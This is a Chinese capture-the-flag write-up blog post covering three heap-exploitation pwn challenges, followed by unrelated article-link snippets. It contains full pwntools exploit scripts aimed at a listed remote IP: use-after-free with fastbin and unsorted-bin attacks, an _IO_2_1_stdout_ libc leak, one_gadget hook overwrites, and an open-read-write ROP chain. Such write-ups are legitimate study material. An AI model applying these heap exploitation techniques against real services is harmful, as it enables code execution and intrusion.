[JSMSA_CTF] 2023年12月练习题 pwn

一开始没给附件,还以为是3个盲pwn结果,pwn了一晚上没出来,今天看已经有附件了。

pwn1

  1. 在init_0里使用mallopt(1,0) 设置global_max_fast=0 任何块释放都会进入unsort
  2. 在free函数里没有清理指针,有UAF
  3. 将v6:0x100清0,便于写one
  4. 没有return退出,直接调用exit

思路是通过unsortAttack修改global_max_fast,使释放后的块能进入fastbin,然后再进行fastbinAttack利用错位在malloc_hook写one,如果是盲pwn的话还真不容易完成,主要问题在于当使用unsort泄露libc地址时,无法准确的确定具体版本,也就得到不正确的one,所以可以确定是出题人忘别附件了。

from pwn import *

#p = process('./pwn1')
p = remote('36.152.17.3', 10026)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.23.so')
elf = ELF('./pwn1')

def add(size):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b":", str(size).encode())

def free(idx): #uaf
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendafter(b":", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"index: ", str(idx).encode())

add(0x80)
add(0x60)
add(0x60)
add(0x60)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')

edit(0, flat(libc.sym['__malloc_hook']+70, libc.sym['__free_hook']+0x40-5)[:-1]+b'\n')
add(0x80)

free(1)
edit(1, p64(libc.sym['__malloc_hook'] - 0x23)+b'\n')
add(0x60)
add(0x60) #6
edit(6, b'A'*3 + flat(0,0,libc.address + 0xf1247)+b'\n')
add(8)
p.interactive()

pwn2 IO_stdout

通过名字可知,是练习stdout的攻击

  1. 没有show
  2. edit有写溢出
  3. free有UAF
  4. PIE 保护打开
  5. got表全保护
  v4 = __readfsqword(0x28u);
  sub_A90();
  memset(v3, 0, 260);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_B1C();
      _isoc99_scanf("%d", v3);
      if ( v3[0] != 2 )
        break;
      m2free();
    }
    if ( v3[0] > 2 )
    {
      if ( v3[0] == 3 )
      {
        m3edit();
      }
      else if ( v3[0] == 4 )
      {
        exit(0);
      }
    }
    else if ( v3[0] == 1 )
    {
      m1add();
    }
  }

思路:

在得到unsort后,通过修改fp在址后两字节为x5dd(半字节未知需要爆破),利用错位在_IO_2_1_stdout_有前方临近位置建块修改io_write_ptr尾字节,泄露libc。 在得到libc后同样修改这两个地址ptr和end泄露environ地址,然后再写一个栈地址可以泄露加载地址。由于栈内错位有一定难度,所以这里选去控制指针区,所以用到程序加载地址。在指针区前边利用stderr的指针错位建块控制指针,写入edit函数ret的地址,在ret写one

from pwn import *

context(arch='amd64', log_level='debug')

def add(size, msg=b'\n'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Length of game description:\n", str(size).encode())
    p.sendafter(b"Game description:", msg)

def free(idx):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"game index: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"game index: ", str(idx).encode())
    p.sendlineafter(b"Length of game description:", str(len(msg)).encode())
    p.send(msg)

def doit():
    libc = ELF('./libc-2.23.so')
    elf = ELF('./IO_stdout')
    #
    add(0x18)
    add(0x28)
    add(0x60)
    add(0x60)
    add(0x60)
    edit(0, p64(0)*3 + p64(0xa1))
    free(1)
    free(2)
    add(0x28)
    #main_arena->_IO_2_1_stdout_ - 0x33
    edit(2, b'\xdd\x55')


    add(0x60)
    add(0x60) #7
    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ p8(0))
    libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) +0x20 - libc.sym['_IO_2_1_stdout_']
    print(f"{ libc.address = :x}")
    assert libc.address >> 40 == 0x7f 
    
    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(libc.sym['_environ'], libc.sym['_environ']+8))
    stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0xfa8 - 0xd88)  #editret
    print(f"{ stack = :x}")


    edit(7, b'\x00'*0x33 + flat(0xfbad1880, 0,0,0)+ flat(stack, stack+8))
    p.recvuntil(b'Edit Game description:')
    elf.address = u64(p.recv(8)) - 0xfc6
    print(f"{ elf.address = :x}")

    edit(7, b'\x00'*0x33 + flat(0xfbad2887))
    
    pop_rdi = elf.address + 0x0000000000001043 # pop rdi ; ret
    bin_sh = next(libc.search(b'/bin/sh\x00'))
    system = libc.sym['system']
    
    free(3)
    edit(3, p64(elf.sym['stderr'] -3))

    #gdb.attach(p, "b*0x0000555555400f15\nc")

    add(0x60)
    add(0x60, b'\x00'*3 + flat(0,0, stack)[:-1]+b'\n')
    edit(0, flat(pop_rdi+1, libc.address + 0x45226)+ p64(0)*14)
    p.sendline(b"cat flag")
    p.interactive()  


#p = process('./IO_stdout')
p = remote('36.152.17.3', 10027)
doit()

pwn3 orw_h2

这个增删改显示都有了,只是限制了execve 要求用orw

  1. free有UAF

思路:

通过建大块free到unsort再show得到libc .将块建到environ泄露栈地址,找到ret位置,然后写ROP

from pwn import *

#p = process('./orw_h2')
p = remote('36.152.17.3', 10028)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')
elf = ELF('./orw_h2')

def add(size,msg=b'A'):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"Length of game description:", str(size).encode())
    p.sendafter(b"Game description:", msg)

def free(idx): #uaf
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"game index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b'3')
    p.sendlineafter(b"game index: ", str(idx).encode())
    p.sendafter(b"Edit Game description:", msg)

def show(idx):
    p.sendlineafter(b">> ", b'4')
    p.sendlineafter(b"game index: ", str(idx).encode())

add(0x430)
add(0x168)
add(0x168)
add(0x168)
free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f'{ libc.address = :x}')

free(1)
free(2)
edit(2, p64(libc.sym['_environ']-0x10))
add(0x168)
add(0x168, b'A'*0x10) #5

show(5)
p.recvuntil(b'A'*0x10)
stack = u64(p.recv(6).ljust(8, b'\x00')) - (0xfb8-0xd88)
print(f"{stack = :x}")

pop_rdi = libc.address + 0x0000000000023b72 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002604f # pop rsi ; ret
pop_rdx = libc.address + 0x000000000015f7e6 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000047400 # pop rax ; ret
syscall_ret = libc.sym['getpid'] + 9
flag_addr = stack+0x100

rop = flat(pop_rdi, stack+0x30, pop_rsi, 0, pop_rdx, 0,b'/flag\x00\x00\x00', pop_rax, 2, syscall_ret)
rop+= flat(pop_rdi,3, pop_rsi, flag_addr, pop_rdx, 0x100,0, pop_rax,0, syscall_ret)
rop+= flat(pop_rdi,1, pop_rax, 1, syscall_ret)

free(1)
free(2)
edit(2, p64(stack))
add(0x168)

add(0x168, rop)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/229649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

快速开始HarmonyOS开发,学习路线解析

技术特性 鸿蒙OS技术的特性,可以用官方的六句话来概括: 硬件互助,资源共享 Harmonyos为我们提供了分布式软总线、分布式设备虚拟化、分布式数据管理、分布式任务调度这几种通用的终端协调标准,用来作为不同终端设备之间设备通信…

Linux学习笔记3 xshell(lnmp)

xshell能连接虚拟机的前提是真机能够ping通虚拟机网址 装OpenSSL依赖文件 [rootlocalhost nginx-1.12.2]# yum -y install openssl pcre-devel 依赖检测[rootlocalhost nginx-1.12.2]# ./configure [rootlocalhost nginx-1.12.2]# yum -y install zlib [rootlocalhost n…

Linux 文件系统

文章目录 文件系统定义文件系统结构文件创建过程软硬链接原理补充说明 文件系统定义 网络答案:Linux文件系统是Linux操作系统中用于组织和管理文件和目录的一种文件系统。它负责在硬盘上存储和检索文件,并为用户提供对文件的访问和管理功能。 个人理解…

设备温度和振动综合监测:温振一体式传感器的优点和应用

随着工业设备的复杂性和自动化程度的提高,对设备状态监测的需求也日益增加。温振一体式传感器作为一种集振动和温度监测于一体的传感器,具备多项优势,因此在工业设备状态监测领域得到广泛应用。 温振一体式传感器基于振动传感器和温度传感器的…

数字人对话系统 Linly-Talker

🔥🔥🔥数字人对话系统 Linly-Talker🔥🔥🔥 English 简体中文 欢迎大家star我的仓库 https://github.com/Kedreamix/Linly-Talker 2023.12 更新 📆 用户可以上传任意图片进行对话 介绍 Lin…

AIGC创作系统ChatGPT网站源码,Midjourney绘画,GPT联网提问/即将支持TSS语音对话功能

一、AI创作系统 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统,支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI…

文献速递:多模态影像组学文献分享:生成一种多模态人工智能模型以区分甲状腺良性和恶性滤泡性肿瘤:概念验证研究

文献速递:多模态影像组学文献分享:生成一种多模态人工智能模型以区分甲状腺良性和恶性滤泡性肿瘤:概念验证研究 文献速递介绍 近年来,人工智能(AI)领域日益被探索,作为一种增强传统医学诊断和…

扁平的MutableList元素每隔若干元素一组装入新MutableList,Kotlin

扁平的MutableList元素每隔若干元素一组装入新MutableList&#xff0c;Kotlin fun main(args: Array<String>) {val array arrayOf("a", "b", "c", "d", "e", "f", "g", "h", "i…

php+mysql期末作业小项目

目录 1、登录界面 2、注册界面 3、主界面 4、学生表界面 5 、查询学生界面​编辑 6、修改学生信息界面​编辑 7、删除学生信息界面 8、添加学生信息界面 9、后台数据库​编辑 一个简单的php➕mysql项目学生信息管理系统&#xff0c;用于广大学子完成期末作业的参考&…

驾驭苹果的人工智慧模式:克服反击与应对挑战

苹果一年一度的秋季「春晚」时间越来越近&#xff0c;但在大模型浪潮下&#xff0c;苹果何时推出自己的「苹果GPT」成了另一个关注的话题。 毕竟&#xff0c;前有华为&#xff0c;后有小米&#xff0c;在中国手机厂商争相将大模型装进移动终端的同时&#xff0c;苹果却依旧对A…

Vue 子路由页面发消息给主路由页面 ,实现主页面显示子页面的信息

需求 子页面进入后&#xff0c;能在主页面显示子页的相关信息&#xff0c;比如说主页面的菜单激活的是哪个子页面的菜单项 如上图&#xff0c;当刷新浏览器页面时&#xff0c;让菜单的激活项仍保持在【最近浏览】。 实现方式&#xff1a; 在子页面的create事件中增加&#xff…

3dMax vs Cinema4d哪个更好更适合你?

Cinema 4d和3dMax的区别 用于游戏风格、开发和风格可视化的3D建模、动画和渲染软件系统&#xff0c;为用户提供制作和编辑动画、视觉效果和环境的灵活性。4D CINEMA可能是由MAXON构建的强大的3D建模、运动图形、绘画和动画软件系统。Cinema 4D将在每个Windows和MAC操作系统上运…

苹果股价为何会在11月份突然暴涨?12月份还会继续上涨吗?

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 苹果股价受益于大盘而上涨 随着第四季度财报的公布&#xff0c;全球市值最高的公司苹果(AAPL)的股价在上个月出现了暴涨&#xff0c;并在11月份剩下的大部分时间里一直保持着与标普500指数一致的走势。 猛兽财经认为主要原…

阿里云磁盘在线扩容

我们从阿里云的控制面板中给硬盘扩容后结果发现我们的磁盘空间并没有改变 注意&#xff1a;本次操作是针对CentOS 7的 &#xfeff;#使用df -h并没有发现我们的磁盘空间增加 #使用fdisk -l发现确实还有部分空间 运行df -h命令查看云盘分区大小。 以下示例返回分区&#xf…

Vue阶段笔记(有js包)

目录 1.要先上传Vue的js包&#xff0c;包的路径在这&#xff1a; 2.获取 3.定义Vue接管的区域和他所要实现的内容 #整体代码如下&#xff1a; Vue的指令(被绑定得必须有声明) #v-bind #v-model #v-on #V-ifV-else-ifV-elseV-show #v-show #v-for 1.要先上传Vue的js包&…

继承与派生(2)

1.派生类的权限&#xff1a;派生类的成员函数可以访问基类的public和protected类型的成员&#xff0c;而派生类的对象只能访问public类型的成员 2.创建顺序&#xff08;先创造后析构&#xff09;&#xff1a;基类函数&#xff0c;派生类函数&#xff0c;组合类函数 类的组合按…

深度学习之注意力机制

注意力机制与外部记忆 注意力机制与记忆增强网络是相辅相成的&#xff0c;神经网络去从内存中或者外部记忆中选出与当前输入相关的内容时需要注意力机制&#xff0c;而在注意力机制的很多应用场景中&#xff0c;我们的外部信息也可以看作是一个外部的记忆 这是一个阅读理解任务…

0013Java程序设计-基于Vue的上课签到系统的设计与实现

文章目录 **摘 要**目录系统设计4.2学生签到4.3 签到信息列表4.4 用户信息管理5.1系统登录5.1.1 登录5.1.2 清除用户登记记录5.1.3 登录拦截 5.2用户管理5.2.2 用户添加5.2.3 用户编辑5.2.4 用户删除5.2.5 用户分页 5.3签到信息5.3.1签到信息列表 5.4学生签到5.4.1学生签到 开发…

【超详细教程】FL Studio 21中文破解版,让你的音乐制作更出彩啦!

嗨小仙女们&#xff01;今天小助理要跟大家分享一个超赞的消息&#xff01;你们知道吗&#xff0c;FL Studio 21中文破解版终于来啦&#xff01; FL Studio 21是一款超级火爆的音乐制作软件&#xff0c;不仅功能强大&#xff0c;而且操作简单&#xff0c;适合各种水平的音乐制…

基于SSM的java衣服商城

基于SSM的java衣服商城 一、系统介绍二、功能展示四、其他系统实现五、获取源码 一、系统介绍 项目类型&#xff1a;Java EE项目 项目名称&#xff1a;基于SSM的美衣商城 项目架构&#xff1a;B/S架构 开发语言&#xff1a;Java语言 前端技术&#xff1a;Layui等 后端技术…